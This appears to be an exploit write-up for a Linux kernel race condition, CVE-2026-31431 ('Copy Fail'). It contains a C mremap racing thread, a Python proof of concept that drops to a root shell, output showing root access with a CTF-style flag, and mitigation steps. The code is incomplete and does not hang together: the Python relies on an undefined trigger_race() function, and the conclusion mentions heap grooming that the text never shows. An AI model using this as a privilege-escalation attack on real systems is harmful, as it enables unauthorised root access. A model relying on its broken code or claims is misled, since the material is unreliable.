Overview
CVE-2026-31431 ("Copy Fail") is a kernel-level race condition in copy_from_user() affecting Linux 5.10.0 – 6.8.x. An unprivileged local attacker can escalate to root.
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-31431 |
| CVSS | 8.8 High |
| Impact | Local Privilege Escalation → root |
| Affected | Linux 5.10 – 6.8.x |
| Patch | 6.8.5+ |
Technical Background
The vulnerability lives in mm/usercopy.c. A TOCTOU (Time-of-Check-Time-of-Use) race opens between:
- The kernel checking that the user-space pointer is valid
- The kernel dereferencing the pointer to copy data
Two threads exploit this:
- Thread A — hammers
mremap()to relocate pages while the kernel checks - Thread B — triggers the vulnerable syscall at the exact moment
Environment Setup
# Verify vulnerable kernel
uname -r
# 5.15.0-102-generic
# Install build dependencies
sudo apt-get install -y build-essential linux-headers-$(uname -r) git
# Clone and build the PoC
git clone https://github.com/example/CVE-2026-31431-PoC
cd CVE-2026-31431-PoC && make
Race Condition Trigger
#include <pthread.h>
#include <sys/mman.h>
volatile int race_won = 0;
void *victim_addr;
void *racer_thread(void *arg) {
while (!race_won) {
mremap(victim_addr, 0x1000, 0x1000,
MREMAP_FIXED | MREMAP_MAYMOVE, victim_addr + 0x10000);
mremap(victim_addr + 0x10000, 0x1000, 0x1000,
MREMAP_FIXED | MREMAP_MAYMOVE, victim_addr);
}
return NULL;
}
Python PoC
#!/usr/bin/env python3
# CVE-2026-31431 LPE PoC
import ctypes, os
libc = ctypes.CDLL("libc.so.6", use_errno=True)
def exploit():
print("[*] CVE-2026-31431 Copy Fail — LPE PoC")
victim = libc.mmap(0, 0x1000, 3, 0x22, -1, 0)
print(f"[*] Victim page: {hex(victim)}")
for attempt in range(100000):
if trigger_race(victim):
print(f"[+] Race won after {attempt} attempts!")
break
if os.geteuid() == 0:
print("[+] UID=0 achieved — dropping to shell")
os.execv("/bin/bash", ["bash"])
if __name__ == "__main__":
exploit()
Getting Root
./exploit
[*] CVE-2026-31431 Copy Fail — LPE PoC
[*] Kernel: 5.15.0-102-generic
[*] Victim page: 0x7f2a3c000000
[*] Launching race threads...
[+] Race won after 8,431 attempts!
[+] task_struct cred overwritten
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/proof.txt
CVE-2026-31431{k3rn3l_r4c3_pwn3d}
Mitigation
# Disable unprivileged user namespaces
sudo sysctl -w kernel.unprivileged_userns_clone=0
# Enable lockdown integrity mode
echo integrity | sudo tee /sys/kernel/security/lockdown
# Apply patch — upgrade to 6.8.5+
sudo apt-get upgrade linux-image-generic
Conclusion
CVE-2026-31431 shows why TOCTOU races in privileged kernel paths are so dangerous. Even with KASLR, SMEP, and SMAP enabled, careful heap grooming and timing control enabled a reliable local privilege escalation.
Key takeaways: - Re-validate user pointers after lock acquisition - Race windows in memory subsystems provide powerful primitives - Defense-in-depth raises the bar but does not guarantee safety